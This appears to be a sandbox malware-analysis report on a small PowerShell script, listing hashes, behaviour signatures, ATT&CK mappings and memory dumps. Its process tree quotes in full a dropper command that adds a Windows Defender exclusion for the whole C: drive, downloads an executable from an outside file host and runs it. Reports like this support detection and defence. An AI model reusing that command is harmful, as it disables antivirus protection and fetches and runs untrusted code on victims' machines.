cdcc31a5e04ae4bf0873bd78a29b69991e3632ec182d4b3ca328bf8071400628

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-11-2024 15:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

New Text Document.ps1
Size

222B
MD5

63029dc164817834daff27ac138a6110
SHA1

4ef3ef55421240d5232c1bad039ae6098ac17067
SHA256

ca18d4af4b98324369c6237d2e13d33f76a12cb4761c9d29ada553f67f38f98e
SHA512

fce9a92796b7a507186c902f1cc9bbac58a18f8cfa07f67638c8215f4f4183d17937bfeb003bc8cb4cb894cc8ba557efb023d91f7e492e64afde895daaf4dcae

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2384	powershell.exe
2800	powershell.exe
2800	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2384	powershell.exe
2800	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2800	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2384 wrote to memory of 2800	2384	powershell.exe	31
PID 2384 wrote to memory of 2800	2384	powershell.exe	31
PID 2384 wrote to memory of 2800	2384	powershell.exe	31

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\New Text Document.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "& {Add-MpPreference -ExclusionPath 'C:\'; Invoke-WebRequest 'https://file.garden/ZyuCb9V1JUxg3En4/tmp' -OutFile C:\Users\Admin\AppData\Local\Temp\tmp.exe; Start-Process C:\Users\Admin\AppData\Local\Temp\tmp.exe}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e157e94e3356f7bf022a4772907f97ff

SHA1
e20dbaccddf5829bdfaef1d7b49c4069e16d8fc1

SHA256
586a424b2fbd6b4312a1ef6815cf2c8f905b97d507b21e4751c8f0d46876fd4b

SHA512
947a30bea68ca6c2695b5865c3477d65c0674505800fcb20ef21973b66e9e2cd4c107689812dd4028e5ed61a93524206c9c8d0a5099da6963c37675f72548304

Download Submit
memory/2384-4-0x000007FEF609E000-0x000007FEF609F000-memory.dmp

Filesize
4KB

Download
memory/2384-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2384-6-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/2384-7-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-9-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-8-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-11-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-10-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/2384-19-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-17-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-18-0x000007FEF5DE0000-0x000007FEF677D000-memory.dmp

Filesize
9.6MB

Download